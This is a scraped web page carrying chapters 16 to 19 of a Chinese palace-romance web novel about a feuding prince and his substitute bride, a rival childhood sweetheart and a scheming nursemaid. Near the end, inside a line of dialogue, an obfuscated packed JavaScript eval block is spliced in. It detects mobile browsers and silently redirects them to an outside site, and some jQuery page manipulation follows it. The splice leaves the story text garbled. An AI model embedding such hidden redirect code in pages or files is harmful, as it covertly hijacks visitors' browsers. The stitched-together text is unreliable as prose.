看来从温家人口中打听到的消息也不过是这女人身上诸多秘密的九牛一毛,他若是想要知道更多,还得从别处探听。 “青澜。”容妄抬眸,“去传信给紫英,要她去查温斩月。” “本王要知道他被温家遗弃后的所有经历,越详细越好,另外,把温家人都送回去吧,这群人留在这里也没什么用,威胁不到温斩月,还浪费王府的银子。” “回王爷的话,那温如玉受着伤,怕是不宜舟车劳顿,不如等他伤养好了,再将人送回去吧。”青澜建议道。 “真是废物。”容妄嘲讽。 同样都是温家人,温斩月怎么就能跟野草一样生命力旺盛,怎么折腾都不死。 这温如玉不过就是被射了一箭,如此娇嫩脆弱,泥捏的吗? 心中虽然不爽,但容妄最后还是同意了,他倒不是真的在意温如玉的死活,只是人要是死在王府,他终归是觉得晦气。 第16章 本王不会和离 锦绣阁内,梨落衣不解带地照顾了温斩月一夜。 等到天微微亮时,她才趴在床边眯了一会儿,可偏偏就是这一会儿出了岔子。 床上的人像是被拖进了噩梦里,双目紧闭,表情惧怕,额头上渗出了不少细密的汗珠,这些汗珠顺着太阳穴滑下来,砸在了玉石制成的枕头上。 嘴里还一直不停地念叨着什么,但声音太小,没人听得清。 这是一场困了温斩月整整十三年的梦境,在这场梦境里,一个浑身破烂沾着血的小女孩被人绑在柴堆上,周围的人全虎视眈眈地盯着她。 可小女孩却像是感受不到一般,一张小脸笑得很是可爱。 “村长叔叔,我已经被你们绑在这里啦,爹爹和娘亲什么时候才能醒过来呢?”小女孩天真地看向一旁的白胡子老头。 老头心中闪过不忍,可其他村民却发话了。 “烧死她!她就是个祸害,村长,你还在犹豫什么?” “就是,她这样的灾星留在村里,会害死我们所有人的,你可千万不能因为一时的妇人之仁,毁了全村啊!” “烧死她吧,牺牲她一个,我们全村的人都能得救!” “村长,别犹豫了,下决定吧!” “烧死她!烧死她!烧死她!” 周围人的声音慷慨激昂,可小女孩却不为所动,依然咧着嘴角看向不忍心的村长,她的唇角还有一丝血迹,配上她天真的笑容,总让人觉得害怕。 村长别开眼,狠下心来沉声道:“点火。” 等候的村民迫不及待地将火把扔向柴堆,这堆干柴本就是用来生火的,十分容易燃烧,火把刚放上去,火焰瞬间就窜开了。 那一晚,村里的夕阳似火,烧得十分漂亮。 梦境里的画面戛然而止,温斩月的耳边传来一声声的呼唤,她像是被人从梦境里强行拽出去一般,快速地抽离。 睁开眼,面前是一张刻在记忆里的脸。 温斩月扑进容妄怀里,双手死死地抱紧容妄不撒手。 容妄身子一僵。 梨落神情一顿。 春夜双腿一软。 “咳咳。”片刻后,梨落回过神来,不自然地轻咳两声。 “你们先聊,我和春夜去看看药熬好了没有。”说完,梨落眼疾手快地抓起腿软的春夜,两人快步从锦绣阁退出去。 容妄起初并未阻止,但时间过去良久,温斩月还是没有松手的打算。 “你要抱着本王多久?” “想一直抱。” 大概是真的伤得很重,温斩月没了平日的嚣张,说起话来软软的,倒是温顺乖巧的许多。 容妄不解风情,伸手推开。 “本王是你想抱就能抱的吗?”容妄没好气道。 他还想再嘲讽几句,可一对视,却发现温斩月的脸上挂着几滴晶莹的液体。 她哭了? 容妄第一反应是不可能。 温斩月给他的印象从来都是流血不流泪,他用冷箭伤她,用飞镖射她,用掌风打她,她都没有掉过半滴眼泪。 怎么可能只是做个噩梦就会哭。 这个梦,到底有什么不一样? 还有……温斩月的眼神里到底藏着什么,容妄想要一探究竟,但他还没来得及,床上的人已经换了一副嘴脸。 “臣妾不能抱,秦落雪就能抱吗?” 温斩月冷着脸,昨天好不容易压下去的醋意再一次翻涌上来。 容妄刚想反驳他什么时候抱了秦落雪,但转念一想,又觉得何必跟温斩月解释,她又不是什么重要的人,值得他多费口舌。 “随你怎么想。”容妄起身,准备离开。 “你给我站住。”温斩月拖着病体从床上下来,绕到容妄面前,“你是不是要去定国公府参加百花宴?” “是又如何?不是又如何?” “你不能去。”温斩月伸手拦住。 “此番赏花宴其实是定国公为秦落雪选夫婿,你要是去,他肯定会提出将秦落雪嫁给你,容妄,有些话我得提醒你,我温斩月的夫君决不能纳妾。” “谁说本王要纳妾?” “你要与我和离,娶她?”温斩月不可置信地看向容妄。 “看来他们说的都是真的,你心中果然早就有喜欢的人,既如此,你为何还要迎娶温宁霜,直接娶了秦落雪岂不是更好?” 平日里碍着王府的规矩,温斩月一口一个王爷臣妾的,如今伪装的面具被撕开,她直呼容妄全名,反倒多了一丝真实感。 “本王不会和离。”容妄脸色稍稍缓和。 没想到温斩月听完这句话,脸色变得更难看了。 “好,你去,我不拦你。”温斩月侧身让开。 她原以为容妄为了秦落雪跟她和离就已经够狠了,没想到容妄竟连和离都不愿给她,而是直接存了休妻的心思。 好,让她下堂,她倒要看看没了她,容妄身上的三日欢有谁能解。 温斩月此番态度容妄觉得有些不对,但具体哪里不对,他又猜不出来,刚往前迈了半步,就听到耳边劲风阵阵。 他堪堪躲过,恼怒道:“温斩月,你疯了!你要谋杀亲夫?” “我就杀了怎么了?”温斩月气不过,“你竟敢休妻,既然活着得不到你的心,那不如让你死在我手里好了!” 话音刚落,温斩月又要出手,可体内一股力量涌动,直接让她疼得跪倒在地。 “温斩月!”容妄急忙蹲下身,将温斩月横抱起来。 “身子还没好,闹什么?” 容妄抱着怀里气息紊乱的人,来到床边,他好看的眼中竟隐隐藏着连他自己也没有发现的焦急。 “容妄,你不准!”温斩月死死扣住容妄的手腕。 “你要是真的娶了秦落雪,我会把你俩一起宰了……”失去最后一丝意识前,温斩月抓着容妄的手始终没有松开。 容妄再迟钝也能分辨出来,他娶回来的王妃似乎对他,有几分真心。 …… 宁国公府,庭院中。 秦落雪看着面前送来的众多礼物,还是没忍住将心中存疑的话问了出来。 “青澜,你实话告诉我,今日王爷没能来参加赏花宴,可是因为昨日伤了少明的那位姑娘?” “她不是一般人。”青澜迟疑着提醒道:“二小姐以后还是少招惹她。” “她真是夜王妃?”秦落雪秀眉紧蹙。 “王爷既然娶了她,让她担了夜王妃的名头,怎么会不宴请宾客,昭告天下呢?这其中莫不是有什么隐情?” “二小姐别问了。”青澜一脸为难。 “王爷行事不是你我能左右的,今日赏花宴王爷虽未到场,但却嘱咐我送来不少东西,二小姐看看,应当都是二小姐喜欢的。“ “王爷有心了。”秦落雪吩咐绿珠把礼物收起来。 “我有一句话要你带给王爷,不知方不方便?” “二小姐请说。” “王爷回京时曾问过我一个问题,当时我还没有想好怎么回答他,但如今,我已经想清楚了。”秦落雪盯着青澜,片刻,朱唇轻启。 “我的回答是……” “愿得一人心,白首不相离。” …… 温斩月这次急火攻心,伤势比之前还要严重。 卢太医前来施过银针,又让梨落帮忙,珍贵药材熬成的汁水不要钱一样地往温斩月的口中灌下去。 几个时辰下来,总算是稳定了伤势。 “王爷。”卢太医走过来,“王妃这次伤得太重了,接下来能不生气就别让她生气,不然就算是大罗金仙来了,也救不活。” “本王知道了。”容妄抬眸扫了一眼。 “交代你的事情尽管出结果,否则,本王可没有那么多的耐心。” “这件事情实在棘手,臣已经在努力了。”卢太医擦擦额头的汗,“王爷放心,臣一定早日出个结论。” 送走卢太医,容妄来到温斩月床边坐下。 他盯着床上脸色苍白的女人,说不出来是什么感觉。 从他出生到现在为止,从来都没有真心爱过他,所有人接近他都是为了从他身上得到东西,那些人惧怕他手中的权利,忌惮着他的本事,却没有一个人敢站在他的面前,说一句真心喜欢。 好在,他也不信这些。 无非就是男女间的那些事,他并不在意。 世间情爱,从来也就是那么一回事。 只是…… 想起温斩月昏迷前说的话,他的心头还是会被触动。 真的有那么喜欢他吗? “王爷是不是从来都没有遇见过阿月这样的女子?”梨落从一旁走过来,满脸的心疼。 “除了王爷,她没有喜欢过旁人,王爷就算不接受她的心意,也该不去糟蹋她。” “谁糟蹋谁?”容妄没好气道。 “她喜欢本王,还给本王下毒?” “王爷这话说得好偏颇。”梨落反驳道:“据我所知,是王爷先动手的吧,新婚之夜冷箭伤她在前,后又飞镖中伤,还因为秦家二小姐再度打伤阿月,她都伤得那么厉害了,硬是一声不吭地回来。” “结果呢?王爷晚上又是一顿折磨,导致她体内真气乱窜,差点走火入魔。” “好不容易从鬼门关救回来,王爷三言两语又把她气回了地府。” “如此顺下来,到底是谁对不起谁啊。” 第17章 你怎么不拦着他? 梨落说得头头是道,但容妄并不想承认。 “是她温家失信在先,若不是约定好的新娘逃婚,本王岂会为难她?”容妄嘴硬道。 “本王镇守边疆,征战沙场,从未有人敢忤逆本王,温家背信弃义在先,送一个不知道是什么身份的人来替嫁,本王生气不应该吗?” “应该,可王爷若是讲理,也该去为难温家人,为难阿月做什么?”梨落朝着门外一指,“温家人就在北院,王爷前去把他们一个个都杀了,能不能解王爷愤恨?若是能,以后就别再糟蹋阿月了。” “本王做事轮不到你来教。”容妄冷声。 梨落张了张嘴,还想再说什么,可就在此时,她的手臂上传来钻心的疼痛,控制不住的想要颤抖。 梨落害怕被容妄发现,只能快步地离开锦绣阁。 跑到没有人的地方,梨落卷起袖子,手臂上密密麻麻的咒文,十分醒目。 她不该这么冲动的,再这样下去,阿月活不了,她也死得快。 以后还是要稳重一些,把这条命用在该消耗的地方上,不能再口无遮拦下去了。 这一晚是容妄在照顾温斩月。 期间温斩月似乎又做了噩梦,但与之前的不一样,这次她口中一直念叨着容妄,这让容妄心里十分诧异,同时也十分受用。 “真这么喜欢,睡着了也在念着本王?”容妄唇角含笑, 反应过来后,又急忙绷着脸。 他在床边守了一夜,等到天微亮时,梨落才从门外走进来。 看到容妄在床边,梨落比死了爹还要震惊,什么情况?昨晚是容妄照顾了她家阿月一整晚吗? 这么说来,她说的那些话起作用了? “你来了。”容妄站起来,“本王今日还有事,她就交由你照顾了。” 容妄说完,转身走出锦绣阁。 梨落揉了揉眼睛,恨不得扇自己一耳光,看看自己究竟是不是在做梦。 “我的老天爷唉,那可是容妄,他真把我的话听进去了?”梨落坐在床边,百思不得其解。 她自认没有那么大的本事,可事实又摆在眼前。 算了算了,想这么多也没用,若一切都是真的,那她胳膊受的罪也不算是一点价值都没有了。 温斩月睡到了下午才醒。 睁眼第一件事情就是抓着梨落质问容妄去哪里了。 “他说自己有事,我也不知道他做什么去了,”梨落端着手里熬好的粥,“快点喝了这碗粥,后面还有好几碗药等着你呢。” “他是不是去了定国公府?”温斩月垂眸。 她并不知道自己睡了有多久,只当是容妄趁着她昏迷,丢下她去参加了定国公府的赏花宴。 梨落不忍心逗温斩月。 “你想多了,他没去。” “当真?”温斩月双眼瞬间亮起来,“你不会怕我伤心,在说谎骗我吧。” “当然没有。”梨落无奈道:“他不但没有去参加定国公府的赏花宴,还衣不解带地照顾了你一宿。” “照顾我,一宿?”温斩月朝着四处看了一眼。 她竟睡了有这么久吗? 以前受再重的伤,她都不会昏迷这么久的,这次是怎么了? 接过梨落手中的粥碗,温斩月趁热喝下去。 梨落趁热打铁,又给温斩月喂了汤药,看到温斩月全部都喝下去,提起来的一颗心才慢慢回落。 “待会想吃点什么,我给你做。” “不吃了。”热粥喝汤药一起灌下去,温斩月撑得要命。 “我待会去找容妄,没有我的解药,他会很痛苦的。” “你还没发现吗?”梨落顺着锦绣阁空出来的一块地方指了指,“你之前昏迷的时候,她就已经把酒柜搬走了,那里面的梨花白够他撑一阵子了。” “你怎么不拦着他?” “废话,我拦得住他嘛。”梨落翻了翻白眼。 “你对我有点逼数吧,我算账经商还行,但要是论武力这一块,我就是战五渣,没死在容妄手里已经是我命大了。” 梨落说的在理,温斩月没再说什么。 她躺了一会儿,实在是有些躺不住了,挣扎着起身,在梨落的搀扶下去院子的梨花树下乘凉。 一阵清风吹来,温斩月顿时感觉神清气爽。 “王妃,落星小姐求见。”春夜领着一脸局促的温落星走到梨花树下。 温斩月蹙眉,“你来做什么?” “我听闻二……夜王妃受伤了,特意过来看看。”温落星从怀里掏出一块桃花酥,递过来,“我不知道能做点什么,但吃点甜的应该会让夜王妃舒服一些,以前我生病的时候,母亲便会喂我吃一块桃花酥,吃完我就没有那么难受了。” 温落星是好心,但这话落在温斩月的耳朵里,当真是刺耳极了。 “所以温三小姐是过来炫耀的?”温斩月冷着脸,“说起来,本宫也好生羡慕温三小姐,可以有这么疼爱你的母亲。本宫就不同了,从小便被亲生母亲丢弃,连我是死是活都不关心,若不是我命大,估计就不能活着见到温三小姐了,也听不到温三小姐来我眼前炫耀母慈女孝的场面!” 温落星真的没想那么多,她就是想关心温斩月。 “我不是那个意思,我就是……” “你什么意思本宫并不在意,你这点手段也刺激不了本宫。”温斩月打断,“从你们温家丢掉本宫的那一刻开始,亲情血缘这东西,本宫就再也不放入眼中了。” “只是这桃花酥本宫无心笑纳,还请温三小姐拿回去吧。” 温落星强忍着眼泪,拿着桃花酥委屈的看了一眼冷漠的温斩月,她真的没有故意炫耀,虽然二姐姐可怜,但又不是她的错。 二姐姐被丢掉的时候,她还没出生呢。 温落星欢喜忐忑的来,失望伤心地离开。 人刚走,梨落就叹了口气,“你干嘛故意让她伤心,你分明不讨厌她。” “不讨厌并不代表喜欢。”温斩月闭上眼,“她是温家人,我不想和她有牵扯,与其给她希望再失望,还不如从一开始就断绝了她想求和的念头。” “家人这东西我不需要,非要说起来的话,你和义父足矣。” 这是温斩月第二次说这样的话,梨落还想劝说,但想到自己胳膊上密密麻麻的咒文,只得作罢。 很多事情,她需要徐徐图之。 心急吃不了热豆腐,急不得,也不能急。 …… 夜王府,西厢院里。 展嬷嬷坐在太妃椅上,一筹莫展。 她算是领教了这位王妃的厉害,要是正面硬碰硬,肯定讨不了好处。 不过王爷很在意她,这是她手里筹码。 不管她做了什么,王爷终归会看在她奶娘的身份上,厚待她几分,只是现在失去了掌家权,她又不能硬碰硬,往后怕是很被动啊。 “嬷嬷,用膳了。” 丫鬟们端来一碟子小白菜和馒头放到桌上。 “就吃这个?”展嬷嬷火从心起。 以往她吃得十分丰盛,说是满汉全席也不为过,现在倒好,一时失势,府里这群踩高捧低的主就开始这么打发她了。 “你们这些贱种奴才,竟然敢这么对我,要是让王爷知道,肯定要把你们都发卖去妓院做娼妓!” “奴婢不敢。”丫鬟们急忙跪下。 “这不是奴婢们的主意,是梨落姑娘的意思。” “梨落姑娘?她是谁?” 展嬷嬷自那日被送回西厢院后,便一直都没有离开院子半步,所以对王府发生的事情也都一问三不知。 “是王妃请来的人,如今王府就是梨落姑娘在掌家。” “什么?”展嬷嬷似是不敢相信自己的耳朵,“你说如今王府是一个外人掌家?此事王爷也知晓吗?” “应该是知晓的。”不等丫鬟回答,展嬷嬷自顾自道:“这么大的事情,王爷没道理不知道,可他怎么会让一个外人掌家呢?这姓温的贱种果然有几分魅惑人的手段,这才嫁进来多久,短短几日就把王爷迷得神魂颠倒。” “嬷嬷慎言啊,小心隔墙有耳。” 展嬷嬷压着怒火,想直抒胸臆,却又想到自己之前差点死在温斩月手里,有再多的不满,也只能咽回肚子里了。 但她在王府横行霸道这么多年,要她收手,做不到。 “你们几个,过来。” “我这几日都没有出过院子,错过了很多事,你们一一说给我听,不许错过任何一个细节,否则,就算没了掌家之权,我照样能将你们发卖了!” 这些丫鬟早就领略过展嬷嬷的手段,哪里还敢有所隐瞒,急忙把自己知道的事情全部竹筒倒豆子似的捅了出来。 起初展嬷嬷还皱着眉头,直到她听到温家人也在王府里时,才露出一丝笑容。 她不能和小贱人硬碰硬,不代表她不能借刀杀人。 这温家四口人,每一个都是一把趁手的工具,她该从谁的身上下手呢? …… 西厢院里,温落星回来后就一直把自己锁在房里哭。 被夜王抓着吊在城门口她都没掉过一滴眼泪,可被二姐姐误会了,她心里就跟扎了一根刺一样的难受。 哭声不大不小,正好惊动了温夫人。 第18章 容妄的小青梅 她看着小女儿红红的眼眶,心疼极了。 “我的宝贝女儿,真是心疼死我了。”温夫人一把搂过温落星,轻声细语地安抚着:“再忍忍,等阿玉好了,我们就回温州去,这京城我们再也不来了。” “我不是因为这个难过。”温落星把刚才发生的事情给温夫人讲了一遍。 谁知道温夫人听完,立刻就变了脸色。 “温落星,你怎么回事?怎么可以去讨好那个丧门星!你以后给我离她远一点,要是再让我发现一次,我迟早打断你的腿!” “为什么呀,母亲!”温落星被温夫人的态度吓到了。 “从小您就疼爱我们,刚才你还对我心疼我,只因为我提了二姐姐,您就变了个模样,二姐姐到底怎么您了?当初的事情是您对不起二姐姐,不是二姐姐对不起您!” ——啪! 清脆响亮的耳光声。 温落星愣住,她长这么大,母亲从未打过她。 这是第一次。 仅仅只是因为她提了几句二姐姐。 温夫人自己也愣住了,她看着小女儿红肿的脸,愧疚不已。 “落星,娘不是故意的。”温夫人轻轻摸了摸温落星肿起来的地方,“娘跟你道歉,只是你要答应你,以后绝对不能再去见那个丧门星。” “可她是我的……” “她不是!”温夫人打断,眼里藏着惨绝人寰的恨意。 “我从来都没有她这样的女儿,你也绝对不可能有这个丧门星当姐姐!” 温落星心中委屈更甚。 她很想追根究底地问清楚到底是为什么,但最后,她还是张了张口,什么都没说。 母亲这般作为着实让人寒心,二姐姐恨温家,也是应该的。 看来以后有机会她还是要对二姐姐好一些。 在过去的二十几年里,二姐姐失去的实在是太多了,旁人怎么样她不想管,但姐妹情谊她一定可以修补回来。 她这么人见人爱,二姐姐不会真的讨厌她的。 “不说这个了。”温落星转移话题。 “也不知道大姐姐离开温州去了哪里,她一声不吭地就这样跑了,根本没有把我们当一家人,母亲你就半点不怪她吗?” “没什么好怪的。”温夫人声音缓和下来。 “每个人都有追求自己幸福的权利,夜王那样残暴的性子,宁霜不愿意嫁给他也正常,况且当初的婚事没有经过宁霜同意,是我们对不住她。” 这话听得温落星很膈应。 大姐姐从小就享受了温家的锦衣玉食,但到了关键时刻,还是任性妄为,差点害死温家。 反观二姐姐,从未吃过温家一口饭,却肯在关键时刻站出来,以身入局,替温家解围。 这件事情怎么看都觉得是二姐姐受了委屈,但在母亲眼里,却根本不值一提。不但不感恩,反而仇视二姐姐。 明明都是温家的女儿,但这也太区别对待了。 温落星心中不满,但却没再去质问温夫人,她想起刚才的桃花酥,心下一动。 横竖还要在夜王府待一段日子,不如她好好下点功夫,多去亲近亲近二姐姐,说不定二姐姐真能被她的诚心打动呢。 …… 卢太医开的药又猛又烈,几碗汤药下去,温斩月被灌得没了食欲。 “拿走吧,我吃不下了。”温斩月偏过头,不愿张口。 梨落跟哄孩子似的柔声道:“乖,再吃一点,这可是我亲手做的呢,你从前不是最喜欢吃我做的饭菜了吗?” “没胃口。”温斩月低垂着眸。 梨落耐着性子哄道:“你得快点好起来,父亲就给了我们半年时间,照你和容妄的情形,以后受伤是必然,三天两头折腾,什么时候才能完成父亲交代给我们的任务。” 梨落说得在理,温斩月端起饭碗,机械的进食。 她脖颈和手臂的伤都好得差不多了,就剩下内伤需要修养。 吃完最后一口饭菜,温斩月起身来到书桌前,从上面拿起一个包裹走过来。 “这是那日上街,我在礼让书局买的书。”温斩月打开包裹,拿出里面的书本递给梨落。 “一本京都日志,一本京都风云榜,还有一本最重要的京都生意图鉴。等你看完这三本书,想要在京都敛财应该就有大致的方向了。” “这可是个好东西啊。”梨落接过书本。 温斩月轻笑,“这是自然,不然秦家那个废物三公子也不至于跟我抢。” “秦家要这个干什么?”梨落蹙眉,“而且这东西花钱就能买到,他何须跟你抢,花点钱再买不就是了。” “我去之前就已经提前打听过,整个京都城只有三家书局,另外两家都没有这几本书,唯独我去的那家有,但也只剩下最后的孤本了。” “怪不得。”梨落恍然大悟。 “但我还是不明白,定国公府世袭爵位,从不缺钱,那个秦三公子看起来也不像是喜欢钻研商道的人,他要这几本书做什么?” “不是他,是秦落雪。”提起这个人,温斩月清冷的面容有了一丝浅显的变化。 在礼让书局时,她与秦落雪打了个照面,简单地交过手。 有点蠢,但又有点聪明,如果秦落雪的这次回京的目的是容妄,那经商这件事,便是秦落雪送给容妄的见面礼。 她在证明自己在容妄面前的价值。 “你去找几个靠谱的人盯着秦落雪,我感觉她并没有表面上那么简单。” “真的假的?”梨落心中存疑。 “你该不会只是想借着这个理由,监视自己的情敌吧。” 温斩月懒得和她再多废话,拿起床头的披风,便要出去。 梨落见状,急忙喊道:“你要去做什么?” “去见容妄。”温斩月头也不回地离开锦绣阁。 义父给她的时间不多,她得快点行动了,否则半年后,等待她的谁知道又是什么。 温斩月本以为容妄在书房,可等她到了才被管家告知,容妄大清早就带着青澜出去了,但具体去了哪里,管家也不知晓。 没找到容妄,温斩月正打算回去,却听到丫鬟来报,说是定国公府的人前来拜访。 虽不知来的是谁,但温斩月就是有种预感,来的人里面肯定有秦落雪。 “把人请进来,先看茶,本宫待会过去。” “是,王妃。”丫鬟领命离开。 虽然她不喜欢雌竟,可毕竟是容妄的小青梅,她一副病恹恹的样子也不太像话,对待情敌就该有对待情敌的态度。 …… 此时前院客厅里,秦落雪坐下品茶。 身旁的绿珠打量了一下周围,这才小声道:“小姐,我刚进来的时候仔细观察了,有些地方的喜字还没取下来,看来之前说夜王殿下成亲的消息都是真的。” “嗯。”秦落雪应了一声。 她并不在意容妄是否成亲,对她来说,只要容妄的心在她这里,那比什么虚名都强,区区一个夜王妃,她并不真的放在心上。 “秦二小姐来了怎么不叫人提前知会一声?”展嬷嬷不知从哪里听到了风声,迈着小碎步走进了前厅。 秦落雪看向展嬷嬷,温顺端庄地行礼。 “落雪见过展嬷嬷,许久未见,展嬷嬷可好?” “二小姐怎的这样客气。”展嬷嬷急忙扶住秦落雪,“老奴就是一个下人,哪里受得起二小姐的礼。” “嬷嬷是王爷的奶娘,落雪应当敬着您。” 这话说到展嬷嬷的心坎上去了,她高兴地拉着秦落雪坐下。 “王爷要是娶了你,王府也不至于这么乌烟瘴气,你不知道,嫁进来的王妃不识大体,进门没几天就让王爷发了好几次火呢。” “当真?”秦落雪疑惑。 展嬷嬷点点头,“我骗你做什么,那个女人将王府闹得鸡飞狗跳,甚至还当着王爷的面要杀了我,要不是王爷拦着,我这条命早就没了!” “什么?”这下轮到秦落雪震惊了。 她倒不是惊讶于这位夜王妃的胆子,只是展嬷嬷是容妄的奶娘,谁都知道她是容妄身边最亲近的人。 夜王妃不但敢杀展嬷嬷,还敢当着容妄的面。 这太匪夷所思了。 “二小姐放心,王爷早就厌恶了她,休妻是迟早的事。”展嬷嬷信誓旦旦地保证道。 秦落雪勉强一笑,心里却算计起来。 若一切真如展嬷嬷所说,容妄当真厌恶极了这位新王妃,为何还能留她性命。 她都能对容妄身边最亲近的人出手了,容妄居然没有立刻将她抽筋扒皮,这不符合容妄的行事风格。 依她看,容妄哪里会厌恶王妃,分明…… 分明就是在意着的。 “嬷嬷。”秦落雪眼珠一转,旁敲侧击道:“如您所说,王爷很是嫌恶她,那为何当初还要迎娶她?” “二小姐有所不知,王爷原本要娶的是她姐姐温宁霜,没想到温宁霜不识抬举,成亲当日逃婚了,她是替她姐姐上的花轿。” “如此愚弄王爷,王爷没有生气吗?” “怎么可能不生气?”展嬷嬷得意道:“新婚之夜,王爷发了好大的火,直接拎着冷月弓将她射伤。” 展嬷嬷这么一说,秦落雪稍微安下心来,只要两人不是情深意笃,那她就还有机会。 第19章 怎么有只狗在叫啊 温斩月换好衣服,好好收拾打扮一番便来到前厅。 还未走进,就听到展嬷嬷在同秦落雪嚼舌根子。 她冷笑一声,提着裙摆迈入,“贵客来访,怎么有只狗在叫啊。” “你说谁是狗?”展嬷嬷一看到温斩月就腿软,她躲在秦落雪身后,嘴硬道。 温斩月走过来,坐在主位上。 她的目光扫过秦落雪,最后落在展嬷嬷身上。 “嬷嬷真是好了伤疤忘了疼,这么快就忘记本宫的手段了?” “你嚣张什么?今日有秦二小姐在场,你难道还能当着她的面,将我杀了不成?”展嬷嬷无所顾忌。 上次两人早就闹得很难堪,自然也就没有装下去的必要。 “秦二小姐?”温斩月勾唇,不屑。 “当着王爷的面本宫都敢,区区一个秦二小姐,本宫怕什么?” “二小姐可是王爷最喜欢的人,你杀了我不要紧,但要是惊到二小姐,王爷定会把你**万段!” 听到此话,秦落雪微微蹙眉。 她是想得到容妄的心,但并不代表她还没嫁进王府就要树敌。 尤其是见证过秦少明的下场,她不愿意招惹这尊杀神。 “王妃别在意,嬷嬷说的这些,都是过去的事情了,如今王爷愿意迎娶王妃,足以说明心中是深爱王妃的。”秦落雪恭恭敬敬道。 温斩月冷嗤一声,她锋利的目光盯着秦落雪,似乎要将她灼烧出来一个洞。 片刻,她朱唇轻启,“你算个什么东西?本宫岂会在意你。” 秦落雪愣住,这话说得已是十分不客气。 虽然之前在礼让书局她就已经见识过眼前人的行事作风,但此时她还是被惊到,因此,看向温斩月的眼神也凌厉起来。 “抱歉,给王妃添堵了。”秦落雪淡淡道:“今日我来是想谢过王爷,虽然他军务繁忙,未能来参加我秦家举办的赏花宴,但他送了不少的礼物来,我细细地看过,那些礼物都是我喜欢的。” “难为王爷费心,我与他分别多年,他竟还记得。” 这一番话乍一听就已经是茶里茶气,更何况,温斩月也不是一般人,她望向秦落雪眼底的挑衅,轻笑。 “秦二小姐用的什么香膏,如此茶香四溢,定是用极品绿茶制成的吧。” “王妃用不着这般阴阳怪气。”秦落雪收敛眉眼。 “我与王爷自小便相识,一起长大的情分总是不同寻常的,王妃气量小,容不下我,我无话可说。” “你说对了,本宫的确气量小,不容人。”温斩月冷冷道,她看向秦落雪的眼里带着一丝你也不过如此的轻蔑。 这让秦落雪很不舒服。 在边疆时,她曾无数次地被人这样瞧不起,仿佛她就是草芥,是蝼蚁,是可以随意被人践踏欺辱的。 想起一些不好的画面,秦落雪渐露锋芒。 被她关在心底的野兽,在这一刻,挣脱锁链。 “容妄哥哥乃是人人尊敬的夜王殿下,他的王妃不会是个粗暴无礼,没有气量之人。你任性妄为,总有一日,他会厌弃你。” 瞧瞧,这么快就露出了獠牙。 沉不住气,略显愚蠢。 温斩月失了兴致,她今日本就来试探秦落雪的,寥寥几语,便知深浅。 这人不是她的对手,容妄绝不会喜欢这样的女子。 “秦二小姐说得没错。”展嬷嬷壮着胆子,“等日后王爷将她抬进府,厌恶你是迟早的事情,我劝你还是识相一点。” “现在就讨好二小姐,将来不至于在王府活不下去。” “本宫倒是忘了还有你这个老东西了。”温斩月起身,朝着周围的人招招手,“来人,把她给本宫绑了!” “你要干什么?我警告你,你要是敢动我,王爷……” 展嬷嬷的话还没说完,就被春夜手动在嘴里塞上了一团布条,然后命令几个侍卫一起,把展嬷嬷五花大绑起来。 “本宫真是管教不严,才会让你这个刁奴对着本宫狂吠。” “春夜,念在嬷嬷年老体弱,就罚她五十大板吧。” 此话一出,展嬷嬷当即变了脸色,虽然她身体也算强壮,可五十板子下去,她就算侥幸不死,也会没了半条命。 展嬷嬷挣扎着,朝秦落雪投去求救的眼神。 “你看她做什么?”温斩月好整以暇地搬了把椅子坐在门前,看着侍卫将展嬷嬷压倒在行刑凳上。 她侧过头看向秦落雪,笑得阴恻恻。 “秦二小姐敢求情,本宫连你一块打哦。” 秦落雪缩缩脖子,心漏跳一拍,她绝对有理由相信,如果自己敢为了展嬷嬷求情,那窄窄的行刑凳上定会有她的位置。 院子里传来展嬷嬷的惨叫,秦落雪的脸色一阵红,一阵白。 一旁的绿珠早就被吓得闭上眼,死死抓住自家小姐的胳膊不松手。 “小姐,这个夜王妃不是个好相与的,今日王爷又不在府中,我们要不要先回去,改日再来拜访?” “你说的是。”秦落雪点头。 好汉都知道不吃眼前亏,更何况,她一向会审时度势。 “王妃……”秦落雪的话刚出口,忽而看到门口有道黑色身影正朝着这边走过来,话音一转,她当即跪在地上。 “求王妃饶了嬷嬷吧,她再怎么样也是王爷的奶娘,王妃这五十大板下去肯定会要了嬷嬷的命,还请王妃看在王爷的份上,手下留情!” 秦落雪的态度突变,温斩月正疑惑着,便看到神色狠厉的容妄朝着这边走来。 “温斩月!”容妄怒火浸染。 “本王离府不过半日,你又在闹什么?” “王爷瞎了吗?”温斩月没好气道:“身为夜王妃,臣妾正在管教下人,惩治刁奴啊。” “展嬷嬷一事上次本王已经说得很清楚了,况且,你提出的条件本王也都一一应允,如今你为何还要咄咄逼人?” “王爷别怪王妃。”秦落雪半跪着,眼眶里蕴含着水色。 “今日落雪来访,是为了谢谢王爷上次挑选的礼物,落雪很是喜欢。” “只是落雪许久与嬷嬷未见,便与嬷嬷说了几句体己的话,王妃处罚嬷嬷说白了就是冲着落雪来的。” “打在嬷嬷的身上,却痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801016|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在落雪的心里,早知今日会是这等局面,落雪绝不会贸然上门。” “白白牵连了无辜的嬷嬷替我受罚,成为……成为王妃的出气筒。” 秦落雪本就生得唇红齿白,十分漂亮。 这一番以退为进的说辞下来,再加上两滴清亮亮的眼泪,怎么会有男人不动心? 就连温斩月都觉得,惹了这样的美人垂泪,她真是罪该万死。 “你可还有话要说?”容妄没看秦落雪,而是看向温斩月。 他没有听信秦落雪的一面之词倒是让温斩月有些诧异。 “臣妾说了王爷便会信吗?” “你先说。” “其实也没什么。”温斩月嚣张地翘着腿。 “就是展嬷嬷说王爷迟早会厌弃臣妾,娶秦二小姐回来,要臣妾早点巴结秦二小姐,免得将来在王府活不下去。” 容妄蹙眉,看向奄奄一息的展嬷嬷。 展嬷嬷从行刑凳上滚落下来,撑着一口气,哀声道:“王爷切莫听她胡说,老奴从未说过这样的话,王爷要是不信,可以问问二小姐。” “落雪。”容妄目光沉沉。 